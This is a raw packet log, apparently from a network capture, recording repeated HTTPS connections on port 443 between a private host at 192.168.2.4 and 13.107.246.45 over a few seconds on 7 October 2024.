Oct 7, 2024 03:16:03.728622913 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.728933096 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.728948116 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.808516026 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.808684111 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.808772087 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.808840990 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.808840990 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.808882952 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.808896065 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.809900045 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.810045004 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.810106993 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.810178041 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.810178041 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.810220957 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.810245991 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.812338114 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.812417030 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.812490940 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.812700987 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.812721014 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.812949896 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.812978029 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.813049078 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.813163996 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.813180923 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.827188969 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.827250004 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.827311993 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.827451944 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.827451944 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.827469110 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.827476978 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.828182936 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.828314066 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.828372955 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.828587055 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.828629017 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.828661919 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.828677893 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.829961061 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.830004930 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.830096960 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.830343962 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.830364943 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.831291914 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.831300974 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.831407070 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.831760883 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.831773043 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.973946095 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.974502087 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.974525928 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.974984884 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.974989891 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.079478979 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.079510927 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.079593897 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.079958916 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.079958916 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.079977989 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.079984903 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.083405018 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.083425045 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.083522081 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.083741903 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.083749056 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.495409012 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.496119022 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.496162891 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.496501923 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.496510983 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.498246908 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.498513937 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.498574972 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.498838902 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.498852968 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.499473095 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.499778986 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.499810934 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.499829054 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.500020981 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.500030041 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.500092983 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.500099897 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.500528097 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.500534058 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.594338894 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.594532967 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.594769001 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.594769001 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.594769001 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.597379923 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.597419977 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.597522974 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.597652912 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.597670078 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.598589897 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.598758936 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.598815918 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.598870993 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.598870993 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.598905087 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.598932981 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.600931883 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.600972891 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.601036072 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.601181984 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.601200104 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.603878975 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.603945017 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.604074001 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.604074001 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.604094028 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.604104996 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.604496956 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.604554892 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.604626894 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.604756117 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.604772091 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.604782104 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.604788065 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.606204033 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.606213093 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.606298923 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.606408119 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.606417894 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.606561899 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.606574059 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.606635094 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.606760979 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.606774092 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.722601891 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.723754883 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.723767996 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.724255085 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.724258900 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.823604107 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.823654890 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.823798895 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.824018002 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.824028969 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.824059963 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.824064016 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.827023029 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.827086926 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.827161074 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.827291965 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.827311039 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:04.897466898 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:04.897485971 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.288450003 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.288578033 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.288719893 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.289104939 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.289100885 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.289124966 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.289159060 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.289534092 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.289550066 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.289724112 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.289731026 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.289836884 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.289868116 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.290167093 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.290177107 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.292174101 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.293411970 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.293423891 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.293653965 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.293659925 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.386718035 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.386785030 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.386894941 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.387096882 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.387115002 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.387126923 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.387135983 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.388132095 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.388191938 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.388319016 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.388375998 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.388375998 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.388417959 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.388439894 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.389141083 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.389203072 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.389272928 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.389467955 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.389467955 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.389483929 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.389504910 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.391256094 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.391349077 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.391374111 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.391412973 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.391448975 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.391510963 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.391603947 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.391628027 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.391695023 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.391720057 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.391941071 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.392024994 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.392062902 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.392086029 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.392117977 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.392147064 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.392163992 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.392169952 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.392189026 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.392194033 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.392286062 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.392307043 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.394048929 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.394125938 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.394210100 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.394325972 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.394361973 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.487845898 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.488495111 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.488513947 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.488996983 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.489018917 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.591141939 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.591206074 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.591310024 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.591511011 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.591528893 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.591537952 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.591542959 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.599596024 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.599647999 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:05.599734068 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.599899054 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:05.599917889 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.026607037 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.027446032 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.027523041 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.027528048 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.027831078 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.027859926 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.027930975 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.027940989 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.028273106 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.028278112 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.034548998 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.034832001 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.034868956 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.035177946 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.035187960 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.038754940 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.038981915 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.039005995 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.039305925 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.039310932 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.126494884 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.126554012 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.126771927 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.126854897 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.126854897 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.126902103 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.126930952 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.128504038 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.128550053 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.128614902 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.128748894 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.128757000 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.128767967 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.128774881 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.129776955 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.129889965 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.129997969 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.130100012 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.130122900 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.130827904 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.130911112 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.130987883 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.131123066 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.131158113 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.132884979 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.133012056 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.133075953 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.133117914 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.133117914 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.133143902 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.133166075 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.134954929 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.135046959 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.135138988 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.135257959 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.135282040 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.139111042 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.139178991 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.139291048 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.139307976 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.139319897 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.139329910 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.139333963 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.141163111 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.141191959 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.141258955 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.141370058 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.141383886 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.247467041 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.247867107 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.247896910 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.248298883 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.248311043 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.348449945 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.348509073 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.348594904 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.348829031 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.348865986 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.348896027 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.348911047 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.351962090 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.352016926 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.352113962 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.352241039 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.352262020 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.781043053 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.781666994 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.781744003 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.782170057 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.782188892 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.783543110 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.783822060 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.783907890 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.784147024 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.784162998 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.827822924 CEST	443	49806	13.107.246.45	192.168.2.4
